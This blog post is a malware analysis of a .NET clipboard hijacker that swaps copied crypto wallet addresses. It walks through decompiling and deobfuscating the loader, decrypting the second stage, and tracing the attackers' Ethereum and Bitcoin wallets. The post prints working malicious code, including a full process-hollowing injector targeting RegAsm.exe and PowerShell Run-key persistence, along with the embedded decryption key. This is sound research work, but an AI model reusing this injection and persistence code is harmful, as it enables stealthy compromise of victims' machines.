Post

5a484

0. Introduction

I found this sample while browsing the newest samples uploaded to malware bazaar for the day, and it only had the exe tag, so I decided to look into what malware type it is

1. Stage 1

1.1 Initial Enumeration

Sha256Sum: 5a484a2241fe121e65f290a39a5c1971ef6dcd2c8a854cad2bd5d3317c31f5af Md5Sum: 09d004710e617e57d92d16e7029b23ba

The link to the malware is here file command output:

1
2
> $ file malware.exe
> malware.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The output is saying it’s a Mono/.Net assembly. Those can be reliably decompiled to source with ILSpy, letting me get a better understanding of the sample. Let’s decompile it!

1.2 Decompilation

Since I’m doing all of this from my Linux host, I built the ILSpy CLI for Ubuntu and ran the following command:

1
$>  ./ilspycmd -p -o ~/malware_analysis/5a484/stage1 ~/malware_analysis/5a484/malware.exe

Which left me with a new directory called stage1 inside my malware analysis folder, containing all the files from the decompiled sample, including an unknown file named WWFG98tqej that I’ll save for later.

Checking out the singular source file immediately showed some suspicious things, including a very odd class name, Cronos-Cryptor, which coincides with this repository, which is a .NET obfuscator. ![[classes.png]]

I couldn’t find any tools to automatically deobfuscate this kind of obfuscation, so I started manually deobfuscating it (while also thinking of methods to automate this process):

1.3 Manual deobfuscation

Since every function included the name Cronos_crypter in one way or another, I started by replacing the function names of the very obvious functions based on contextual hints, which led me to a few interesting function calls, notably one that appeared to accept a string password and a byte array then decrypts it via AES with the CBC mode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static byte[] CronosDecryptFile(byte[] FileData, string KeyStr)
{
	byte[] result = null;
	byte[] salt = new byte[8] { 26, 20, 202, 234, 136, 123, 69, 47 };
	using (MemoryStream memoryStream = new MemoryStream())
	{
		using RijndaelManaged rijndaelManaged = new RijndaelManaged();
		rijndaelManaged.KeySize = 256;
		rijndaelManaged.BlockSize = 128;
		byte[] bytes = Encoding.UTF8.GetBytes(KeyStr);
		Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, salt, 1000);
		rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
		rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
		rijndaelManaged.Mode = CipherMode.CBC;
		using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
		{
			cryptoStream.Write(FileData, 0, FileData.Length);
			cryptoStream.Close();
		}
		result = memoryStream.ToArray();
	}
	return result;
}

Right below this there are two more functions, that appear to read the file into a byte array and then calls the decryption function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static byte[] GetFileAssembly(string FileName)
{
	Assembly executingAssembly = Assembly.GetExecutingAssembly();
	using Stream stream = executingAssembly.GetManifestResourceStream(FileName);
	if (stream == null)
	{
		return null;
	}
	byte[] array = new byte[stream.Length];
	stream.Read(array, 0, array.Length);
	return array;
}
private static byte[] DecryptFileCall(byte[] FileBytes, string KeyStr)
{
	return CronosDecryptFile(FileBytes, KeyStr);
}

There were a few other functions that would do a few more operations, like writing itself to registry via the RegAsm.exe binary, presumably to establish some sort of persistence:

1
2
3
4
5
6
7
public static void CreatePersistenceViaRegistry()

{

CreateProcessCall(Encoding.UTF8.GetString(Convert.FromBase64String("UmVtb3ZlIC1JdGVtUHJvcGVydHkgLVBhdGggJ0hLQ1U6XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bicgLU5hbWUgJw==")) + Cronos_002DCrypter_FFFD_200D_FFFD_200D_FE0F_200D_200D_FFFD_FFFD_D83D_DCA3_FFFD_D83E_DD2D_FFFD + Encoding.UTF8.GetString(Convert.FromBase64String("JztOZXctSXRlbVByb3BlcnR5IC1QYXRoICdIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4nIC1OYW1lICc=")) + Cronos_002DCrypter_FFFD_200D_FFFD_200D_FE0F_200D_200D_FFFD_FFFD_D83D_DCA3_FFFD_D83E_DD2D_FFFD + Encoding.UTF8.GetString(Convert.FromBase64String("JyAtVmFsdWUgJyI=")) + Path.Combine(DirInfo.FullName, cFileInfo.Name) + Encoding.UTF8.GetString(Convert.FromBase64String("IicgLVByb3BlcnR5VHlwZSAnU3RyaW5nJw==")));

}

Which when decoded returns the following:

1
2
3
4
5
6
7
public static void CreatePersistenceViaRegistry()

{

CreateProcessCall("Remove -ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '" + "dfs1" + "';New-ItemProperty -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '" + "dfs1" + "' -Value '\"" + Path.Combine(DirInfo.FullName, cFileInfo.Name) + "\"' -PropertyType 'String'");

}

There is also a function call to what appears to be a function that tries to inject itself into the RegAsm.exe binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
public static bool InjectSelf(string ProcName, byte[] FileData, bool TryInjectACL)
{
	for (int i = 1; i <= 5; i++)
	{
		if (TryInject(ProcName, FileData, TryInjectACL))
		{
			return true;
		}
	}
	return false;
}
	private static bool TryInject(string ProcessName, byte[] FileData, bool TryModifyAcl)
	{
		int NumOfBytesRead = 0;
		string @string = "#cmd";
		StartupInfoStruct StartupInfo = default(StartupInfoStruct);
		ProcessInformationStruct ProcessInfo = default(ProcessInformationStruct);
		StartupInfo.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInfoStruct)));
		try
		{
		if (!CreateProcess(ProcessName, @string, IntPtr.Zero, IntPtr.Zero, InheritFlags: false, 4u, IntPtr.Zero, null, ref StartupInfo, ref ProcessInfo))
	{
		throw new Exception();
	}
		int PeHeaders = BitConverter.ToInt32(FileData, 60);
		int NtHeaders = BitConverter.ToInt32(FileData, PeHeaders + 26 + 26);
		int[] array = new int[179];
		array[0] = 65538;
		if (IntPtr.Size == 4)
		{
			if (!GetThreadContext(ProcessInfo.ThreadHandle, array))
		{
			throw new Exception();
		}
	}
	else if (!Wow64GetThreadContext(ProcessInfo.ThreadHandle, array))
	{
		throw new Exception();
	}
	int baseAddr = array[41];
	int OutBuf = 0;
	if (!ReadProcessMemory(ProcessInfo.ProcessHandle, baseAddr + 4 + 4, ref OutBuf, 4, ref NumOfBytesRead))
	{
		throw new Exception();
	}
	if (NtHeaders == OutBuf && NtUnmapViewOfSection(ProcessInfo.ProcessHandle, OutBuf) != 0)
	{
		throw new Exception();
	}
	int num4 = BitConverter.ToInt32(FileData, PeHeaders + 80);
	int num5 = BitConverter.ToInt32(FileData, PeHeaders + 42 + 42);
	bool flag = false;
	int PageBaseAddress = VirtualAllocEx(ProcessInfo.ProcessHandle, NtHeaders, num4, 12288, 64);
	if (PageBaseAddress == 0)
	{
		throw new Exception();
	}
	if (!WriteProcessMemory(ProcessInfo.ProcessHandle, PageBaseAddress, FileData, num5, ref NumOfBytesRead))
	{
		throw new Exception();
	}
	int SectionInfo = PeHeaders + 248;
	short NumOfSections = BitConverter.ToInt16(FileData, PeHeaders + 3 + 3);
	for (int i = 0; i < NumOfSections; i++)
	{
		int VirtualAddress = BitConverter.ToInt32(FileData, SectionInfo + 6 + 6);
		int SizeOfRawData = BitConverter.ToInt32(FileData, SectionInfo + 8 + 8);
		int PointerToRawData = BitConverter.ToInt32(FileData, SectionInfo + 20);
		if (SizeOfRawData != 0)
		{
		byte[] array2 = new byte[SizeOfRawData];
		Buffer.BlockCopy(FileData, PointerToRawData, array2, 0, array2.Length);
		if (!WriteProcessMemory(ProcessInfo.ProcessHandle, PageBaseAddress + VirtualAddress, array2, array2.Length, ref NumOfBytesRead))
		{
		throw new Exception();
		}
	}
	SectionInfo += 40;
	}
		byte[] bytes = BitConverter.GetBytes(PageBaseAddress);
		if (!WriteProcessMemory(ProcessInfo.ProcessHandle, baseAddr + 8, bytes, 4, ref NumOfBytesRead))
		{
			throw new Exception();
		}
		int num11 = BitConverter.ToInt32(FileData, PeHeaders + 40);
		if (flag)
		{
			PageBaseAddress = NtHeaders;
		}
		array[44] = PageBaseAddress + num11;
		if (IntPtr.Size == 4)
		{
			if (!SetThreadContext(ProcessInfo.ThreadHandle, array))
			{
				throw new Exception();
			}
		}
		else if (!Wow64SetThreadContext(ProcessInfo.ThreadHandle, array))
		{
			throw new Exception();
		}
		if (ResumeThread(ProcessInfo.ThreadHandle) == -1)
		{
			throw new Exception();
		}
		if (TryModifyAcl)
		{
			ModifyACL(ProcessInfo.ProcessHandle);
		}
	}
	catch
	{
		Process processById = Process.GetProcessById(Convert.ToInt32(ProcessInfo.ProcessId));
		processById.Kill();
		return false;
	}
	return true;
	}

All of this preparation leads to the following function call:

1
2
3
4
5
6
7
8
public static void StartMalware()
{
	PreFlightChecks();
	byte[] file_Bytes = GetFileAssembly(Encoding.UTF8.GetString(Convert.FromBase64String("V1dGRzk4dHFlag==")));
	byte[] decrypted_file = DecryptFileCall(file_Bytes, Encoding.UTF8.GetString(Convert.FromBase64String("WFNjOHkwbklKdA==")));
	Win32Calls.InjectSelf("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe", decrypted_file, TryInjectACL: false);
}

Which executes stage 2 under the context of the RegAsm.exe binary.

Now that I have a decent understanding of how this dropper works, Let’s try to decrypt the stage 2 file:

1.4 Decrypting stage 2

As mentioned in the section above, I need a password to decrypt the file contents. Thankfully, the password is hardcoded in the binary as a base64 encoded string:

1
2
byte[] decrypted_file = DecryptFileCall(file_Bytes, Encoding.UTF8.GetString(Convert.FromBase64String("WFNjOHkwbklKdA==")));
//WFNjOHkwbklKdA== -> XSc8y0nIJt

The password is XSc8y0nIJt.

I wrote a small python script to decrypt the second stage, which ended up working!:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
def cronos_create_key(cronos_arg1_barr, cronos_arg2):
	result = None
	salt = bytes([26, 20, 202, 234, 136, 123, 69, 47])
	key_size = 32
	block_size = 16
	key_iv = PBKDF2(cronos_arg2.encode('utf-8'), salt, dkLen=key_size + block_size, count=1000)
	key = key_iv[:key_size]
	iv = key_iv[key_size:]
	cipher = AES.new(key, AES.MODE_CBC, iv)
	decrypted_data = cipher.decrypt(cronos_arg1_barr)
	result = decrypted_data.rstrip(b'\0')
	return result
	
with open('stage2.dat', 'rb') as f:
	file_data = f.read()
	key = "XSc8y0nIJt"
	result = cronos_create_key(file_data, key)
	with open('stage2_decrypted.dat', 'wb') as f:
		f.write(result)

Let’s move onto stage 2:

2. Stage 2

2.1 Initial Enumeration

Sha256Sum: 4aa9f8ddb29341f436cb530f144619ec1ac846638604a1d3cb7c4708a2e35a46 Md5Sum: 8114bdb7b1d3df84bf5db5d6ffcfac44

This file also appears to be a .NET binary, meaning I can decompile it with ILSpy:

1
~/repos/ILSpy/ICSharpCode.ILSpyCmd/bin/Debug/net8.0/ilspycmd ./stage2.exe -p -o stage2_decompiled/

Which gives me a complete folder that contains some files that contain the word “klipper”. I couldn’t find anything that would indicate malware, so I moved on.

2.2 Checking the source files

Wow, immediately I can see that my previous guess may be correct:

Wallets

In this function I can see a dictionary that contains crypto wallets encrypted with the EncryptData function, and linked to their respective cryptocoin.

EncryptDataImg Right above all of this, there is the class declaration + key and mutex generation:

Mutex + RSA

The mutex has a name, AliyevTHEMUTEX. is “Aliyev” the malware author?

In the main function, I can see what this malware is doing exactly: Main The Folder() function appears to overwrite the Microsoft.NET Framework.exe binary with the current process, only if that binary exists in the startup folder.

Replace

The ClipboardListener() function is interesting, although not as interesting as the ProcessClipboardContent call inside of it, but it basically just listens to the clipboard for changes, and then sleeps: listener

ProcessClipboardContent() basically takes the dictionary defined in the class body of the encrypted crypto wallets, decrypts it, and then checks via regex if it exists in the clipboard. clipboard process

All of this ends up sitting on the victim’s PC and hijacking their crypto wallets.

3. Analysing the wallets

Etherium

Wallet address: 0x86890BcB527179Ac79E259165909308a0f3dbB1B Etherscan.io address: https://etherscan.io/address/0x86890BcB527179Ac79E259165909308a0f3dbB1B

Using my Arkham Intelligence account I traced this wallet’s outgoing transactions, since any incoming ones are most likely from victims, and figuring out who they are isn’t part of my interests as of now.

According to Arkham, the owner made transactions to multiple, notably two out of the three nodes were deposits into a Binance wallet (deposit):

Receiving walletamountNo. of transactions
Binance 0x61a158.48$1
Binance 0x110285.08$11
0x8BCeaA96CA68Cd325305b46f887FA433700C7C04120.88$1

the 0x8bceaa96ca68cd325305b46f887fa433700c7c04 is blacklisted in this file of this repository, aimed at preventing exchanges and end users from interacting with addresses associated with “Sybil Attackers”.

At this point I started working on tracing the 0x8bceaa wallet, however that is probably impossible due to it being a very active wallet with a very large amount of transactions: ![[Pasted image 20231227082058.png]]

The red lines are outgoing transactions, and the green lines are incoming transactions My current theory is that this wallet is used as a crypto “laundering machine”, but I don’t have any evidence to support this other than the insane amount of transaction IO going through it. There are a few transactions that disprove this in a way, specifically the following two large deposits to a binance wallet: ![[Pasted image 20231227082624.png]] But they could also be fees taken from the wallet for using it as a crypto tumbler.

At this point I’ve exhausted my resources when trying to trace this Etherium wallet, so I decided I should focus a bit on the Bitcoin wallet instead:

Bitcoin

https://blockexplorer.one/bitcoin/mainnet/address/bc1q3luec8vm2wnnjl4zqnwyxvnek55he3zpyt3aj5

bitcoin transactions times show that each transaction coming in, another transaction was sent out between 30 minutes to 12 hours after the original transaction, and they’re always 0 BTC transactions. Could they be automated transactions notifying someone of the transactions? It would make sense as the outgoing transactions are always sent to one wallet: 137swZpR4DDrq8k7T5joueUxoYHbLqVLHU , which according to this website, has been reported as a scam address 1 time. At this point, I couldn’t find any more information to connect these addresses to a real person or even a fake one, so I decided to let it go for now.

Thanks for reading :)

This post is licensed under CC BY 4.0 by the author.